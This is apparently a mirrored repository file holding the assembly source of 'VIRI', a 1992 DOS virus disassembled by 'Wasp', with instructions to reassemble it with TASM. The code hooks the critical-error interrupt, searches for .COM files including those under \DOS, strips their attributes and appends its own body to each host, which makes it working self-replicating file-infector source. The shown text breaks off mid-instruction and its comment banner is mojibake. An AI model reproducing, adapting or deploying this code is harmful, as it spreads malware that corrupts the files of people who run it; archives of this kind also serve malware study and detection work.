mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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1 line
4.9 KiB
NASM
1 line
4.9 KiB
NASM
|
PAGE 59,132
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> VIRI <20><>
;<3B><> <20><>
;<3B><> Created: 7-Jan-92 <20><>
;<3B><> <20><>
;<3B><> Disassembled by -=>Wasp<=- aka >>Night Crawler<< <20><>
;<3B><> Reassemble with TASM 2.0 <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DATA_1E EQU 0
DATA_2E EQU 0DH
DATA_3E EQU 19H
DATA_4E EQU 1CH
DATA_5E EQU 3AH
DATA_6E EQU 47H
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
VIRI PROC FAR
START:
JMP SHORT LOC_2 ; (0151)
DB 90H, 2AH, 2EH, 43H, 4FH, 4DH
DB 00H, 5CH, 2AH, 2EH, 43H, 4FH
DB 4DH, 00H
DB '\DOS\*.COM'
DB 00H, 00H,0CDH, 20H
DB 44 DUP (0)
DB 0E9H, 00H, 00H,0B4H, 85H, 00H
DB 00H
LOC_2:
MOV DX,103H
CLD ; Clear direction
MOV SI,DX
ADD SI,19H
MOV DI,OFFSET DS:[100H]
MOV CX,3
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV SI,DX
MOV AX,3524H
INT 21H ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
PUSH ES
PUSH BX
MOV AX,2524H
;* MOV DX,OFFSET LOC_1 ;*
DB 0BAH,0B6H, 00H
ADD DX,SI
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
PUSH DS
POP ES
PUSH ES
MOV AH,2FH ; '/'
INT 21H ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
MOV [SI+4AH],ES
MOV [SI+4CH],BX
POP ES
MOV AH,1AH
MOV DX,DATA_4E
ADD DX,SI
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
CMP BYTE PTR [SI+18H],10H
JA LOC_3 ; Jump if above
MOV DX,0
ADD DX,SI
JMP SHORT LOC_5 ; (01AF)
DB 90H
LOC_3:
CMP BYTE PTR [SI+18H],20H ; ' '
JA LOC_4 ; Jump if above
MOV DX,6
ADD DX,SI
JMP SHORT LOC_5 ; (01AF)
DB 90H
LOC_4:
MOV DX,DATA_2E
ADD DX,SI
LOC_5:
MOV CX,23H
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_6 ; Jump if carry Set
JMP SHORT LOC_8 ; (01DE)
DB 90H
VIRI ENDP
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; External Entry Point
;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INT_24H_ENTRY PROC FAR
MOV AL,0
IRET ; Interrupt return
INT_24H_ENTRY ENDP
LOC_6:
MOV AX,[SI+4AH]
MOV DS,AX
MOV DX,[SI+4CH]
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AX,2524H
POP DX
POP DS
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
PUSH ES
POP DS
MOV DI,OFFSET START
PUSH DI
RETN 0FFFFH
LOC_7:
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_6 ; Jump if carry Set
LOC_8:
MOV AX,[SI+36H]
CMP AX,400H
JB LOC_7 ; Jump if below
CMP AX,0F230H
JA LOC_7 ; Jump if above
MOV AX,4301H
MOV DX,DATA_5E
ADD DX,SI
MOV CX,0
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
MOV DX,DATA_5E
ADD DX,SI
MOV AX,3D02H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JC LOC_10 ; Jump if carry Set
XCHG AX,BX
MOV DX,DATA_3E
ADD DX,SI
MOV CX,3
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
JC LOC_10 ; Jump if carry Set
MOV CL,[SI+1AH]
MOV CH,[SI+1BH]
MOV AX,[SI+36H]
SUB AX,1ADH
ADD AX,4BH
CMP AX,CX
JE LOC_10 ; Jump if equal
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_10 ; Jump if carry Set
MOV DI,SI
ADD DI,4FH
ADD AX,100H
MOV [DI],AX
SUB AX,103H
MOV [SI+48H],AX
ADD WORD PTR [SI+48H],4EH
INC BYTE PTR [SI+18H]
CMP BYTE PTR [SI+18H],30H ; '0'
JB LOC_9 ; Jump if below
MOV BYTE PTR [SI+18H],0
LOC_9:
MOV AH,40H ; '@'
MOV DX,DATA_1E
ADD DX,SI
MOV CX,1ADH
INT 21H ; DOS Services ah=func
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